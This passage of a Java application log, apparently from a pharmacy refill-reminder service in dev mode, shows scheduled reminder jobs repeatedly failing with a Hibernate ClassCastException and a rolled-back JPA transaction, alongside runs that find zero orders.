org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at 